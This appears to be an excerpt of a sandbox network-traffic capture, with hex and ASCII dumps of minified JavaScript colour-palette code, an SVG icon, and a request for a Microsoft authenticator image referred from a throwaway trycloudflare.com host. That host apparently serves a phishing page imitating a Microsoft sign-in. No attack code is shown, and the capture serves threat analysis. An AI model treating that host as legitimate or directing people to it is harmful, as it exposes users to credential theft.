2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 5b 72 5d 3a 5b 65 2c 72 5d 29 7d 2c 77 61 72 6e 28 72 2c 65 29 7b 5b 22 63 6f 6e 74 65 6e 74 2d 70 72 6f 62 6c 65 6d 73 22 5d 2e 69 6e 63 6c 75 64 65 73 28 72 29 7c 7c 6a 73 28 51 65 2e 62 6f 6c 64 28 51 65 2e 79 65 6c 6c 6f 77 28 22 77 61 72 6e 22 29 29 2c 2e 2e 2e 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 5b 72 5d 3a 5b 65 2c 72 5d 29 7d 2c 72 69 73 6b 28 72 2c 65 29 7b 6a 73 28 51 65 2e 62 6f 6c 64 28 51 65 2e 6d 61 67 65 6e 74 61 28 22 72 69 73 6b 22 29 29 2c 2e 2e 2e 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 5b 72 5d 3a 5b 65 2c 72 5d 29 7d 7d 7d 29 3b 76 61 72 20 5f 66 3d 7b 7d 3b 47 65 28 5f 66 2c 7b 64 65 66 61 75 6c 74 3a 28 29 3d 3e 55 73 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 71 72 28 7b Data Ascii: ay.isArray(r)?[r]:[e,r])},warn(r,e){["content-problems"].includes(r)\|\|js(Qe.bold(Qe.yellow("warn")),...Array.isArray(r)?[r]:[e,r])},risk(r,e){js(Qe.bold(Qe.magenta("risk")),...Array.isArray(r)?[r]:[e,r])}}});var _f={};Ge(_f,{default:()=>Us});function qr({
2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 3a 22 23 66 65 66 32 66 32 22 2c 31 30 30 3a 22 23 66 65 65 32 65 32 22 2c 32 30 30 3a 22 23 66 65 63 61 63 61 22 2c 33 30 30 3a 22 23 66 63 61 35 61 35 22 2c 34 30 30 3a 22 23 66 38 37 31 37 31 22 2c 35 30 30 3a 22 23 65 66 34 34 34 34 22 2c 36 30 30 3a 22 23 64 63 32 36 32 36 22 2c 37 30 30 3a 22 23 62 39 31 63 31 63 22 2c 38 30 30 3a 22 23 39 39 31 62 31 62 22 2c 39 30 30 3a 22 23 37 66 31 64 31 64 22 2c 39 35 30 3a 22 23 34 35 30 61 30 61 22 7d 2c 6f 72 61 6e 67 65 3a 7b 35 30 3a 22 23 66 66 66 37 65 64 22 2c 31 30 30 3a 22 23 66 66 65 64 64 35 22 2c 32 30 30 3a 22 23 66 65 64 37 61 61 22 2c 33 30 30 3a 22 23 66 64 62 61 37 34 22 2c 34 30 30 3a 22 23 66 62 39 32 33 63 22 2c 35 30 30 3a 22 23 66 39 37 33 31 36 22 2c 36 30 30 3a 22 23 65 61 35 38 30 63 Data Ascii: :"#fef2f2",100:"#fee2e2",200:"#fecaca",300:"#fca5a5",400:"#f87171",500:"#ef4444",600:"#dc2626",700:"#b91c1c",800:"#991b1b",900:"#7f1d1d",950:"#450a0a"},orange:{50:"#fff7ed",100:"#ffedd5",200:"#fed7aa",300:"#fdba74",400:"#fb923c",500:"#f97316",600:"#ea580c
2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 2c 36 30 30 3a 22 23 30 38 39 31 62 32 22 2c 37 30 30 3a 22 23 30 65 37 34 39 30 22 2c 38 30 30 3a 22 23 31 35 35 65 37 35 22 2c 39 30 30 3a 22 23 31 36 34 65 36 33 22 2c 39 35 30 3a 22 23 30 38 33 33 34 34 22 7d 2c 73 6b 79 3a 7b 35 30 3a 22 23 66 30 66 39 66 66 22 2c 31 30 30 3a 22 23 65 30 66 32 66 65 22 2c 32 30 30 3a 22 23 62 61 65 36 66 64 22 2c 33 30 30 3a 22 23 37 64 64 33 66 63 22 2c 34 30 30 3a 22 23 33 38 62 64 66 38 22 2c 35 30 30 3a 22 23 30 65 61 35 65 39 22 2c 36 30 30 3a 22 23 30 32 38 34 63 37 22 2c 37 30 30 3a 22 23 30 33 36 39 61 31 22 2c 38 30 30 3a 22 23 30 37 35 39 38 35 22 2c 39 30 30 3a 22 23 30 63 34 61 36 65 22 2c 39 35 30 3a 22 23 30 38 32 66 34 39 22 7d 2c 62 6c 75 65 3a 7b 35 30 3a 22 23 65 66 66 36 66 66 22 2c 31 30 30 3a 22 Data Ascii: ,600:"#0891b2",700:"#0e7490",800:"#155e75",900:"#164e63",950:"#083344"},sky:{50:"#f0f9ff",100:"#e0f2fe",200:"#bae6fd",300:"#7dd3fc",400:"#38bdf8",500:"#0ea5e9",600:"#0284c7",700:"#0369a1",800:"#075985",900:"#0c4a6e",950:"#082f49"},blue:{50:"#eff6ff",100:"
2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 42 6c 75 65 28 29 7b 72 65 74 75 72 6e 20 71 72 28 7b 76 65 72 73 69 6f 6e 3a 22 76 32 2e 32 22 2c 66 72 6f 6d 3a 22 6c 69 67 68 74 42 6c 75 65 22 2c 74 6f 3a 22 73 6b 79 22 7d 29 2c 74 68 69 73 2e 73 6b 79 7d 2c 67 65 74 20 77 61 72 6d 47 72 61 79 28 29 7b 72 65 74 75 72 6e 20 71 72 28 7b 76 65 72 73 69 6f 6e 3a 22 76 33 2e 30 22 2c 66 72 6f 6d 3a 22 77 61 72 6d 47 72 61 79 22 2c 74 6f 3a 22 73 74 6f 6e 65 22 7d 29 2c 74 68 69 73 2e 73 74 6f 6e 65 7d 2c 67 65 74 20 74 72 75 65 47 72 61 79 28 29 7b 72 65 74 75 72 6e 20 71 72 28 7b 76 65 72 73 69 6f 6e 3a 22 76 33 2e 30 22 2c 66 72 6f 6d 3a 22 74 72 75 65 47 72 61 79 22 2c 74 6f 3a 22 6e 65 75 74 72 61 6c 22 7d 29 2c 74 68 69 73 2e 6e 65 75 74 72 61 6c 7d 2c 67 65 74 20 63 6f 6f 6c 47 72 61 79 28 29 7b 72 Data Ascii: Blue(){return qr({version:"v2.2",from:"lightBlue",to:"sky"}),this.sky},get warmGray(){return qr({version:"v3.0",from:"warmGray",to:"stone"}),this.stone},get trueGray(){return qr({version:"v3.0",from:"trueGray",to:"neutral"}),this.neutral},get coolGray(){r

Timestamp	Bytes transferred	Direction	Data
2025-03-27 16:00:07 UTC	751	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://button-students-container-titans.trycloudflare.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 16:00:08 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: nTculR1Fom7eLci0F6rk+A== Last-Modified: Thu, 05 Dec 2024 00:02:58 GMT ETag: "0x8DD14C02DA20FFD" x-ms-request-id: fb8ac59f-501e-00d3-719c-66161e000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=25314765 Date: Thu, 27 Mar 2025 16:00:08 GMT Content-Length: 7390 Connection: close Akamai-GRN: 0.8904d217.1743091208.e3ae6e4
2025-03-27 16:00:08 UTC	7390	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 30 2e 33 33 35 20 Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335